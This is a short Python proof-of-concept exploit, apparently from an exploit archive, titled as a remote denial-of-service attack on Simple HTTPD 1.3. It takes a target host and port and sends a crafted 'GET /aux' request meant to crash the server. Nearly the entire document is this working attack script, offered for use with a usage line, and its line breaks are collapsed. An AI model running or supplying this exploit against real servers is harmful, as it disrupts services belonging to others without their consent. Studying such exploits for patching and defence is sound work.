Simple HTTPD 1.3 (/aux) Remote Denial of Service Exploit

#usage: poc.py host port import socket import sys print "-----------------------------------------------------------------------" print "Simple HTTPD 1.3 /aux Denial of Service\n" print "url: http://shttpd.sourceforge.net\n" print "author: shinnai" print "mail: shinnai[at]autistici[dot]org" print "site: http://shinnai.altervista.org" print "-----------------------------------------------------------------------" host = sys.argv[1] port = long(sys.argv[2]) try:    request =  "GET /aux HTTP/1.1\n\n"    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    connection.connect((host, port))    connection.send(request) except:    print "Unable to connect. exiting."